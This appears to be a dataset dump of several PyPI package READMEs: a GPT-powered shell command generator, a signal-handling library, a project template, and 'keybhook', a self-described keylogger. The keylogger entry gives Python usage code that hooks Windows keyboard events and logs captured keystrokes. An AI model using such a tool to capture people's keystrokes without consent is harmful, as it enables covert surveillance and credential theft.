semvec/pypi-packages huggingface dataset:
shell-whisperer 0.1.3
Shell Whisperer is a command-line tool that generates CLI (Command Line Interface) commands based on natural language input.
License: MIT
Requires Python: >=3.8,<4.0

# 🔮 Shell Whisperer 🔮

Shell Whisperer is a command-line tool that generates CLI (Command Line Interface) commands based on natural language input. Powered by OpenAI's GPT-3.5-turbo language model, Shell Whisperer can understand a wide range of tasks described in plain English and provide the corresponding shell commands. Optionally, it can also provide explanations of how the generated commands work.

## Features

- Generate shell commands based on natural language descriptions.
- Supports a variety of tasks, from file management to system administration.
- Option to provide explanations for the generated commands.
- User-friendly (🧢) command-line interface.

## Installation
To install Shell Whisperer, you can use pip, the Python package manager. We recommend installing Shell Whisperer in a virtual environment to isolate it from your system Python environment.

Creating a Virtual Environment
To create a virtual environment, follow these steps:

   ```shell
   # Navigate to your desired directory
  cd /path/to/directory

  # Create a virtual environment named 'venv'
  python3 -m venv venv

  # Activate the virtual environment
  source venv/bin/activate  # On macOS and Linux
  venv\Scripts\activate     # On Windows
   ```

## Installing Shell Whisperer
With the virtual environment activated, you can install Shell Whisperer from PyPI using the following command:

   ```shell
    pip install shell-whisperer
   ```
This will download and install Shell Whisperer and its dependencies.

### Usage
Once installed, you can use the whisperer command (or the entry point you defined) to interact with Shell Whisperer. Here's an example of how to use the tool:


### Ask Shell Whisperer to generate a command
   ```shell
   whisperer request "list all files in the current directory"
   ```


### You can also request an explanation of the generated command
   ```shell
   whisperer request "list all files in the current directory" --explain
   ```


## Contributing
I welcome contributions to Shell Whisperer! If you encounter any issues or have feature requests, please feel free to open an issue on the project's repository.

## License
Shell Whisperer is released under the MIT License.
keybhook 0.10
Just a little keylogger
License: MIT
Keywords: keylogger,keystroke,log

# Just a little keylogger 

### pip install keybhook

#### Tested against Windows 10 / Python 3.10 / Anaconda

This script allows you to hook into the Windows keyboard events and capture the keys that are pressed on the keyboard.


### How to use it

```python
from keybhook import start_hook, config, VK_CODELETTER
VK_CODELETTER[193] = ('?', False) # adds not mapped chars (https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes), on my keyboard "?" has the code 193 -  
it might be different on yours. (2nd value: True if numpad else False)
config.done = False 
start_hook()
# example
oldlen = 0
co = 0
while True:
    newlen = len(config.results)
    if newlen > oldlen:
        print(config.results[-1]) # prints the last captured letter 
        co += 1

    oldlen = newlen
    if co == 20: 
        config.done # break when we have 20 characters 
        break
# 
# 
# 
# ('letter', 'is_numpad', 'event_code', 'event', 'scan_code', 'flags', 'time')
# ('enter', False, 257, 'KEY_UP', 28, 129, 87485609)
# ('right shift', False, 256, 'KEY_DOWN', 54, 1, 87486906)
# ('h', False, 256, 'KEY_DOWN', 35, 0, 87487062)
# ('h', False, 257, 'KEY_UP', 35, 128, 87487125)
# ('right shift', False, 257, 'KEY_UP', 54, 129, 87487156)
# ('e', False, 256, 'KEY_DOWN', 18, 0, 87487234)
# ('e', False, 257, 'KEY_UP', 18, 128, 87487328)
# ('l', False, 256, 'KEY_DOWN', 38, 0, 87487500)
# ('l', False, 257, 'KEY_UP', 38, 128, 87487593)
# ('l', False, 256, 'KEY_DOWN', 38, 0, 87487640)
# ('l', False, 257, 'KEY_UP', 38, 128, 87487718)
# ('o', False, 256, 'KEY_DOWN', 24, 0, 87487796)
# ('o', False, 257, 'KEY_UP', 24, 128, 87487890)
# ('right shift', False, 256, 'KEY_DOWN', 54, 1, 87488156)
# ('?', False, 256, 'KEY_DOWN', 115, 0, 87488359)
# ('?', False, 257, 'KEY_UP', 115, 128, 87488500)
# ('right shift', False, 257, 'KEY_UP', 54, 129, 87488515)
# ('spacebar', False, 256, 'KEY_DOWN', 57, 0, 87490890)
# ('spacebar', False, 257, 'KEY_UP', 57, 128, 87491000)

```
safe-exit 0.1.2
Handle graceful process termination
License: MIT

================
Safe Exit
================

Safe Exit is a Python package that provides functionality to handle graceful process termination.
The package allows users to register functions that will be called when the program exits.

Difference from atexit
========================

Python has a standard module called ``atexit`` that does something similar,
but ``atexit`` cannot handle cases where a program is killed by a signal not handled by Python.

Python only handles the SIGINT signal and does not handle SIGTERM, SIGQUIT, and SIGHUP signals.
On Windows, programs can also be killed by SIGBREAK and CTRL_CLOSE_EVENT.

Safe Exit can handle all these signals:

* On POSIX systems: ``SIGINT``, ``SIGTERM``, ``SIGQUIT``, and ``SIGHUP``
* On Windows:

  - ``SIGINT``, ``SIGTERM``, ``SIGBREAK``

  - ``CTRL_CLOSE_EVENT``, ``CTRL_LOGOFF_EVENT``, ``CTRL_SHUTDOWN_EVENT``

Windows also has ``CTRL_C_EVENT`` and ``CTRL_BREAK_EVENT``
which Python translate to ``SIGINT`` and ``SIGBREAK`` signals, respectively.
On windows, ``SIGTERM`` is implemented only  for the current process,
there is no way to send ``SIGTERM`` to other processes.

Installation
============

To install Safe Exit, simply run:

.. code-block:: bash

    pip install safe-exit

Usage
=====

Just register a cleanup function like you would with `atexit`:

.. code-block:: python

    import safe_exit

    def cleanup_function():
        # Perform cleanup tasks

    safe_exit.register(cleanup_function)

The ``register`` function can also be used as a decorator:

.. code-block:: python

    @safe_exit.register
    def cleanup_function():
        # Perform cleanup tasks

Signal handling is configurable.
Call the ``config`` function before registering functions.
The following code configures ``safe_exit`` to handle SIGQUIT and SIGHUP signals:

.. code-block:: python

    from safe_exit import ConfigFlag, config, register
    config(ConfigFlag.SIGQUIT | ConfigFlag.SIGHUP)

    @register
    def cleanup()
        print("clean up")


To nicely kill a process, giving it a chance to clean up:

.. code-block:: python

    process_id = ...
    safe_exit.safe_kill(process_pid)

Contributing
============

Contributions to Safe Exit are welcome!
If you would like to contribute or have any ideas for improvements,
please feel free to open an issue on the project's issue tracker
or get in touch with the maintainer directly.

License
=======

Safe Exit is released under the MIT License. See the LICENSE.txt file for more details.
deadnews-python-template 1.0.2a2
Python Project Template
License: MIT
Requires Python: >=3.9,<4.0
Keywords: python,template,layout

# deadnews-python-template

> Python Project Template

[![PyPI version](https://img.shields.io/pypi/v/deadnews-python-template)](https://pypi.org/project/deadnews-python-template)
[![CI/CD](https://github.com/DeadNews/deadnews-python-template/actions/workflows/python-app.yml/badge.svg)](https://github.com/DeadNews/deadnews-python-template/actions/workflows/python-app.yml)
[![pre-commit.ci](https://results.pre-commit.ci/badge/github/DeadNews/deadnews-python-template/main.svg)](https://results.pre-commit.ci/latest/github/DeadNews/deadnews-python-template/main)
[![codecov](https://codecov.io/gh/DeadNews/deadnews-python-template/branch/main/graph/badge.svg?token=OCZDZIYPMC)](https://codecov.io/gh/DeadNews/deadnews-python-template)

## Installation

```sh
pip install deadnews-python-template
# or
pipx install deadnews-python-template
```